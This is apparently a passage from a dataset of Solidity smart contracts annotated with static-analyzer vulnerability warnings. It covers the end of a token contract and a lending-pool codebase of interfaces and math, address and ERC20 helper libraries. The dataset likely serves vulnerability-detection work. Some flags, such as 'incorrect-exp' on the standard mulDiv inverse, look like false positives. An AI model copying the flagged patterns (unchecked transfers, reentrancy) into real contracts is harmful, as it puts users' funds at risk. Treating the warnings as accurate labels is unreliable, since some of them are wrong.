'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: a79d400\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bc4001d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bc4001d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 162b2b0): TESTY.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 162b2b0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 652b98e): TESTY.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 652b98e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b43c527): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b43c527: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: bc4001d\n\t\t// unused-return | ID: 652b98e\n\t\t// reentrancy-eth | ID: b43c527\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bc4001d\n\t\t// unused-return | ID: 162b2b0\n\t\t// reentrancy-eth | ID: b43c527\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bc4001d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b43c527\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: bc4001d\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10667.sol",
"size_bytes": 23058,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity ^0.8.0;\n\ninterface ITimelockedCall {\n function initScheduler(address addr, uint256 newTimeLockDuration) external;\n\n function enableScheduler(address addr) external;\n\n function disableScheduler(address addr) external;\n\n function schedule(bytes32 h, address consumerAddr) external;\n\n function consume(bytes32 h) external;\n\n function consumeOwnership(\n bytes32 h,\n address prevOwnerAddr,\n address newOwnerAddr\n ) external;\n}\n\nstruct LoanDeploymentParams {\n uint256 fundingPeriodInSeconds;\n uint256 newPaymentIntervalInSeconds;\n uint256 newLoanAmountInPrincipalTokens;\n uint256 originationFeePercent2Decimals;\n uint256 newAprWithTwoDecimals;\n uint256 initialCollateralRatioWith2Decimals;\n uint256 maintenanceCollateralRatioWith2Decimals;\n uint256 lateInterestFee;\n uint256 latePrincipalFee;\n uint256 expiryInfo;\n string loanTypeInfo;\n address lenderAddr;\n address borrowerAddr;\n address newCollateralToken;\n address newPrincipalToken;\n address feesManagerAddr;\n address priceOracleAddress;\n address feesCollectorAddress;\n address categoryFeesAdress;\n bool allowSeizeCollateral;\n}\n\nstruct LoanRecord {\n address lenderAddr;\n address borrowerAddr;\n address principalTokenAddr;\n address collateralTokenAddr;\n uint256 loanAmount;\n uint256 initialApr;\n uint256 paymentInterval;\n}\n\nstruct FeeData {\n address feeTokenAddr;\n uint256 feeTokenOffset;\n uint256 amountOffset;\n uint256 feeWithTwoDecimals;\n}\n\nstruct CallCheck {\n uint8 checkType;\n address contractAddr;\n uint256 numericVal;\n address contractAddr2;\n uint256 numericVal2;\n}\n\nstruct ModuleFee {\n address tokenAddress;\n uint256 dstAmount;\n uint256 dstPercent;\n}\n\nstruct ModuleResponse {\n uint256[] targetCallValues;\n address[] targetAddresses;\n bytes[] targetPayloads;\n CallCheck[] checks;\n ModuleFee[] feesBefore;\n ModuleFee[] feesAfter;\n}\n\ninterface IPermissionlessLoansDeployer {\n event PermissionlessLoanDeployed(\n address indexed loanAddr,\n address indexed lenderAddr,\n address indexed borrowerAddr\n );\n\n function deployLoan(\n LoanDeploymentParams calldata loanParams\n ) external returns (address);\n}\n\ninterface IHookableLender {\n function notifyLoanClosed() external;\n\n function notifyLoanMatured() external;\n\n function notifyPrincipalRepayment(\n uint256 effectiveLoanAmount,\n uint256 principalRepaid\n ) external;\n}\n\nuint8 constant LOAN_PREAPPROVED = 1;\n\nuint8 constant LOAN_FUNDING_REQUIRED = 2;\n\nuint8 constant LOAN_FUNDED = 3;\n\nuint8 constant LOAN_ACTIVE = 4;\n\nuint8 constant LOAN_CANCELLED = 5;\n\nuint8 constant LOAN_MATURED = 6;\n\nuint8 constant LOAN_CLOSED = 7;\n\ninterface IPeerToPeerOpenTermLoan {\n function fundLoan() external;\n\n function callLoan(\n uint256 callbackPeriodInSeconds,\n uint256 gracePeriodInSeconds\n ) external;\n\n function liquidate() external;\n\n function proposeNewApr(uint256 newAprWithTwoDecimals) external;\n\n function acceptPrincipalIncrease() external;\n\n function changeOracle(address newOracle) external;\n\n function changeLateFees(\n uint256 lateInterestFeeWithTwoDecimals,\n uint256 latePrincipalFeeWithTwoDecimals\n ) external;\n\n function changeMaintenanceCollateralRatio(\n uint256 maintenanceCollateralRatioWith2Decimals\n ) external;\n\n function seizeCollateral(uint256 amount) external;\n\n function returnCollateral(uint256 depositAmount) external;\n\n function acceptApr() external;\n\n function proposePrincipalIncrease(\n uint256 additionalPrincipalAmount\n ) external;\n\n function borrowerCommitment() external;\n\n function claimCollateral() external;\n\n function repay(uint256 paymentAmount) external;\n\n function repayInterests() external;\n\n function repayPrincipal(uint256 paymentAmount) external;\n\n function lender() external view returns (address);\n\n function borrower() external view returns (address);\n\n function principalToken() external view returns (address);\n\n function collateralToken() external view returns (address);\n\n function loanState() external view returns (uint8);\n\n function currentApr() external view returns (uint256);\n\n function effectiveLoanAmount() external view returns (uint256);\n\n function getCollateralRequirements()\n external\n view\n returns (\n uint256 initialCollateralAmount,\n uint256 maintenanceCollateralAmount\n );\n\n function getDebt()\n external\n view\n returns (\n uint256 currentBillingCycle,\n uint256 cyclesSinceLastAprUpdate,\n uint256 interestOwed,\n uint256 applicableLateFee,\n uint256 minPaymentAmount,\n uint256 maxPaymentAmount\n );\n}\n\nabstract contract BaseOwnable {\n error OwnerOnly();\n\n address internal _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n modifier onlyOwner() {\n if (msg.sender != _owner) revert OwnerOnly();\n\n _;\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nlibrary DateUtils {\n uint256 internal constant SECONDS_PER_DAY = 24 * 60 * 60;\n\n uint256 internal constant SECONDS_PER_HOUR = 60 * 60;\n\n uint256 internal constant SECONDS_PER_MINUTE = 60;\n\n int256 internal constant OFFSET19700101 = 2440588;\n\n function timestampToDate(\n uint256 ts\n ) internal pure returns (uint256 year, uint256 month, uint256 day) {\n (year, month, day) = _daysToDate(ts / SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(\n uint256 timestamp\n )\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\n\n uint256 secs = timestamp % SECONDS_PER_DAY;\n\n hour = secs / SECONDS_PER_HOUR;\n\n secs = secs % SECONDS_PER_HOUR;\n\n minute = secs / SECONDS_PER_MINUTE;\n\n second = secs % SECONDS_PER_MINUTE;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n SECONDS_PER_DAY +\n hour *\n SECONDS_PER_HOUR +\n minute *\n SECONDS_PER_MINUTE +\n second;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0bc8980): DateUtils._daysToDate(uint256) performs a multiplication on the result of a division n = (4 * x) / 146097 x = x (146097 * n + 3) / 4\n\t// Recommendation for 0bc8980: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 87e9ad6): DateUtils._daysToDate(uint256) performs a multiplication on the result of a division _year = (4000 * (x + 1)) / 1461001 x = x (1461 * _year) / 4 + 31\n\t// Recommendation for 87e9ad6: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7ff4bb9): DateUtils._daysToDate(uint256) performs a multiplication on the result of a division x = _month / 11 _month = _month + 2 12 * x\n\t// Recommendation for 7ff4bb9: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6b7e986): DateUtils._daysToDate(uint256) performs a multiplication on the result of a division _month = (80 * x) / 2447 _day = x (2447 * _month) / 80\n\t// Recommendation for 6b7e986: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 21e3cb9): DateUtils._daysToDate(uint256).x is written in both x = x (1461 * _year) / 4 + 31 x = _month / 11\n\t// Recommendation for 21e3cb9: Fix or remove the writes.\n function _daysToDate(\n uint256 _days\n ) internal pure returns (uint256 year, uint256 month, uint256 day) {\n int256 __days = int256(_days);\n\n int256 x = __days + 68569 + OFFSET19700101;\n\n\t\t// divide-before-multiply | ID: 0bc8980\n int256 n = (4 * x) / 146097;\n\n\t\t// divide-before-multiply | ID: 0bc8980\n x = x - (146097 * n + 3) / 4;\n\n\t\t// divide-before-multiply | ID: 87e9ad6\n int256 _year = (4000 * (x + 1)) / 1461001;\n\n\t\t// write-after-write | ID: 21e3cb9\n\t\t// divide-before-multiply | ID: 87e9ad6\n x = x - (1461 * _year) / 4 + 31;\n\n\t\t// divide-before-multiply | ID: 6b7e986\n int256 _month = (80 * x) / 2447;\n\n\t\t// divide-before-multiply | ID: 6b7e986\n int256 _day = x - (2447 * _month) / 80;\n\n\t\t// write-after-write | ID: 21e3cb9\n\t\t// divide-before-multiply | ID: 7ff4bb9\n x = _month / 11;\n\n\t\t// divide-before-multiply | ID: 7ff4bb9\n _month = _month + 2 - 12 * x;\n\n _year = 100 * (n - 49) + _year + x;\n\n year = uint256(_year);\n\n month = uint256(_month);\n\n day = uint256(_day);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3f9c59a): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 3f9c59a: Consider ordering multiplication before division.\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 _days) {\n require(year >= 1970, \"Error\");\n\n int256 _year = int256(year);\n\n int256 _month = int256(month);\n\n int256 _day = int256(day);\n\n\t\t// divide-before-multiply | ID: 3f9c59a\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n OFFSET19700101;\n\n _days = uint256(__days);\n }\n}\n\nerror WithdrawalRequestRequired();\n\nerror AddressBlacklisted();\n\nerror SettlementAccountNotSet();\n\nerror LimitRequired();\n\nerror NothingToProcess();\n\nerror TooEarly();\n\nerror InsufficientBalance();\n\nerror BalanceCheckFailed();\n\nerror InvalidHolder();\n\nerror SharesAmountRequired();\n\nerror InsufficientShares();\n\nerror WithdrawalLimitReached();\n\nerror AmountTooLow();\n\nerror NoSharesForReceiver();\n\nerror PoolNotConfigured();\n\nerror PoolAlreadyConfigured();\n\nerror DepositsPaused();\n\nerror WithdrawalsPaused();\n\nerror InvalidReceiver();\n\nerror AssetsAmountRequired();\n\nerror DepositLimitReached();\n\nerror MaxMintReached();\n\nerror InvalidDepositLimit();\n\nerror InvalidWithdrawalLimit();\n\nerror LoansOperatorOnly();\n\nerror UnknownLoan();\n\nerror InvalidDeploymentAddress();\n\nerror InvalidLoanState();\n\nerror FundingCheckFailed();\n\nerror AllowanceCheckFailed();\n\nerror PoolOwnerRequired();\n\nerror OperatorRequired();\n\nerror DeployerRequired();\n\nerror CollectorRequired();\n\nerror InvalidProcessingHour();\n\nerror InvalidOwner();\n\nerror OwnerCannotBeOperator();\n\nerror OwnerCannotBeDeployer();\n\nerror FeeTooHigh();\n\nerror CannotBlacklistOwner();\n\nerror InvalidAddress();\n\nerror ValueNotSet();\n\nerror ManagementFeeIsZero();\n\nerror InvalidUpgrade();\n\nlibrary MathUpgradeable {\n enum Rounding {\n Down,\n Up,\n Zero\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0851bbe): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 0851bbe: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b594483): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for b594483: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 776437f): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 776437f: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3534dbf): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 3534dbf: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3b6d798): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 3b6d798: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9ecea88): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 9ecea88: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 59e685b): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 59e685b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d29ffbb): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for d29ffbb: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: ca3aa79): MathUpgradeable.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for ca3aa79: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod0 := mul(x, y)\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n require(denominator > prod1);\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (~denominator + 1);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 0851bbe\n\t\t\t\t// divide-before-multiply | ID: b594483\n\t\t\t\t// divide-before-multiply | ID: 776437f\n\t\t\t\t// divide-before-multiply | ID: 3b6d798\n\t\t\t\t// divide-before-multiply | ID: 9ecea88\n\t\t\t\t// divide-before-multiply | ID: 59e685b\n\t\t\t\t// divide-before-multiply | ID: d29ffbb\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 3534dbf\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: b594483\n\t\t\t// incorrect-exp | ID: ca3aa79\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 0851bbe\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 3b6d798\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 59e685b\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: d29ffbb\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 9ecea88\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 776437f\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 3534dbf\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n uint256 newAllowance = oldAllowance - value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n\n token.permit(owner, spender, value, deadline, v, r, s);\n\n uint256 nonceAfter = token.nonces(owner);\n\n require(\n nonceAfter == nonceBefore + 1,\n \"SafeERC20: permit did not succeed\"\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}\n\ninterface IERC4626 {\n event Deposit(\n address indexed sender,\n address indexed owner,\n uint256 assets,\n uint256 shares\n );\n\n event Withdraw(\n address indexed sender,\n address indexed receiver,\n address indexed owner,\n uint256 assets,\n uint256 shares\n );\n\n function asset() external view returns (address assetTokenAddress);\n\n function totalAssets() external view returns (uint256 totalManagedAssets);\n\n function convertToShares(\n uint256 assets\n ) external view returns (uint256 shares);\n\n function convertToAssets(\n uint256 shares\n ) external view returns (uint256 assets);\n\n function maxDeposit(\n address receiver\n ) external view returns (uint256 maxAssets);\n\n function previewDeposit(\n uint256 assets\n ) external view returns (uint256 shares);\n\n function deposit(\n uint256 assets,\n address receiver\n ) external returns (uint256 shares);\n\n function maxMint(\n address receiver\n ) external view returns (uint256 maxShares);\n\n function previewMint(uint256 shares) external view returns (uint256 assets);\n\n function mint(\n uint256 shares,\n address receiver\n ) external returns (uint256 assets);\n\n function maxWithdraw(\n address owner\n ) external view returns (uint256 maxAssets);\n\n function previewWithdraw(\n uint256 assets\n ) external view returns (uint256 shares);\n\n function withdraw(\n uint256 assets,\n address receiver,\n address owner\n ) external returns (uint256 shares);\n\n function maxRedeem(address owner) external view returns (uint256 maxShares);\n\n function previewRedeem(\n uint256 shares\n ) external view returns (uint256 assets);\n\n function redeem(\n uint256 shares,\n address receiver,\n address owner\n ) external returns (uint256 assets);\n}\n\nabstract contract Initializable {\n uint8 private _initialized;\n\n bool private _initializing;\n\n event Initialized(uint8 version);\n\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n\n require(\n (isTopLevelCall && _initialized < 1) ||\n (!Address.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = 1;\n\n if (isTopLevelCall) {\n _initializing = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n\n emit Initialized(1);\n }\n }\n\n modifier reinitializer(uint8 version) {\n require(\n !_initializing && _initialized < version,\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = version;\n\n _initializing = true;\n\n _;\n\n _initializing = false;\n\n emit Initialized(version);\n }\n\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n\n _;\n }\n\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n\n emit Initialized(type(uint8).max);\n }\n }\n\n function 